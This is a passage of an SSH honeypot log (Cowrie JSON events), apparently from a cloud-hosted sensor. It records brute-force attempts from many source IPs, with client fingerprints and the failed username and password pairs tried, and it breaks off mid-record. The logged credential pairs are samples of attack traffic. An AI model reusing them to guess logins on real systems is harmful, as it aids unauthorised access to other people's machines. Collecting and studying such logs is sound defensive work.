{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:41.187922Z","src_ip":"2.57.121.25","session":"803618adbae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12031981","message":"login attempt [user/12031981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:41.644399Z","src_ip":"2.57.121.25","session":"803618adbae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12031976","message":"login attempt [user/12031976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:42.744221Z","src_ip":"2.57.121.25","session":"803618adbae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":52488,"dst_ip":"159.203.135.109","dst_port":22,"session":"8231182cee55","protocol":"ssh","message":"New connection: 85.11.167.46:52488 (159.203.135.109:22) [session: 8231182cee55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:42.870231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:42.875441Z","src_ip":"85.11.167.46","session":"8231182cee55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:42.958310Z","src_ip":"85.11.167.46","session":"8231182cee55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12345","message":"login attempt [root/admin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:43.206683Z","src_ip":"85.11.167.46","session":"8231182cee55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12021977","message":"login attempt [user/12021977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:43.844355Z","src_ip":"2.57.121.25","session":"803618adbae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:44.294576Z","src_ip":"85.11.167.46","session":"8231182cee55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12021974","message":"login attempt [user/12021974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:44.943858Z","src_ip":"2.57.121.25","session":"803618adbae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120185","message":"login attempt [user/120185] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:46.044177Z","src_ip":"2.57.121.25","session":"803618adbae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:47.148652Z","src_ip":"2.57.121.25","session":"803618adbae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.56","src_port":42826,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1984b791c0c","protocol":"ssh","message":"New connection: 45.144.233.56:42826 (10.17.0.5:22) [session: d1984b791c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:59.338887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:59.344038Z","src_ip":"45.144.233.56","session":"d1984b791c0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:59.575762Z","src_ip":"45.144.233.56","session":"d1984b791c0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:59.984344Z","src_ip":"45.144.233.56","session":"d1984b791c0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:01.083205Z","src_ip":"45.144.233.56","session":"d1984b791c0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":37628,"dst_ip":"10.17.0.5","dst_port":22,"session":"04f6d07929fb","protocol":"ssh","message":"New connection: 78.44.192.210:37628 (10.17.0.5:22) [session: 04f6d07929fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:05.001996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:05.008634Z","src_ip":"78.44.192.210","session":"04f6d07929fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:05.117755Z","src_ip":"78.44.192.210","session":"04f6d07929fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:05.592565Z","src_ip":"78.44.192.210","session":"04f6d07929fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:06.703097Z","src_ip":"78.44.192.210","session":"04f6d07929fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":36038,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7a107070fc0","protocol":"ssh","message":"New connection: 102.210.148.92:36038 (159.203.135.109:22) [session: a7a107070fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:09.871193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:09.876072Z","src_ip":"102.210.148.92","session":"a7a107070fc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:10.111667Z","src_ip":"102.210.148.92","session":"a7a107070fc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:11.084386Z","src_ip":"102.210.148.92","session":"a7a107070fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:12.323793Z","src_ip":"102.210.148.92","session":"a7a107070fc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":52686,"dst_ip":"10.17.0.5","dst_port":22,"session":"50015f8d34b1","protocol":"ssh","message":"New connection: 176.32.39.21:52686 (10.17.0.5:22) [session: 50015f8d34b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:13.722899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:13.940585Z","src_ip":"176.32.39.21","session":"50015f8d34b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:13.945155Z","src_ip":"176.32.39.21","session":"50015f8d34b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"567tyu","message":"login attempt [root/567tyu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:14.710406Z","src_ip":"176.32.39.21","session":"50015f8d34b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:15.913083Z","src_ip":"176.32.39.21","session":"50015f8d34b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":46634,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f167532fcb6","protocol":"ssh","message":"New connection: 20.160.86.7:46634 (10.17.0.5:22) [session: 5f167532fcb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:18.853782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:18.858551Z","src_ip":"20.160.86.7","session":"5f167532fcb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:18.940006Z","src_ip":"20.160.86.7","session":"5f167532fcb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"song","password":"song12345","message":"login attempt [song/song12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:19.284045Z","src_ip":"20.160.86.7","session":"5f167532fcb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:20.365895Z","src_ip":"20.160.86.7","session":"5f167532fcb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.53.94.246","src_port":46812,"dst_ip":"159.203.135.109","dst_port":22,"session":"56bbdce8d8e8","protocol":"ssh","message":"New connection: 202.53.94.246:46812 (159.203.135.109:22) [session: 56bbdce8d8e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:28.348272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:28.353124Z","src_ip":"202.53.94.246","session":"56bbdce8d8e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:28.569990Z","src_ip":"202.53.94.246","session":"56bbdce8d8e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mamad","password":"mamad123","message":"login attempt [mamad/mamad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:29.469936Z","src_ip":"202.53.94.246","session":"56bbdce8d8e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:30.690448Z","src_ip":"202.53.94.246","session":"56bbdce8d8e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.148.224.183","src_port":47318,"dst_ip":"159.203.135.109","dst_port":22,"session":"5febd1617c95","protocol":"ssh","message":"New connection: 186.148.224.183:47318 (159.203.135.109:22) [session: 5febd1617c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:41.136484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:41.141856Z","src_ip":"186.148.224.183","session":"5febd1617c95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["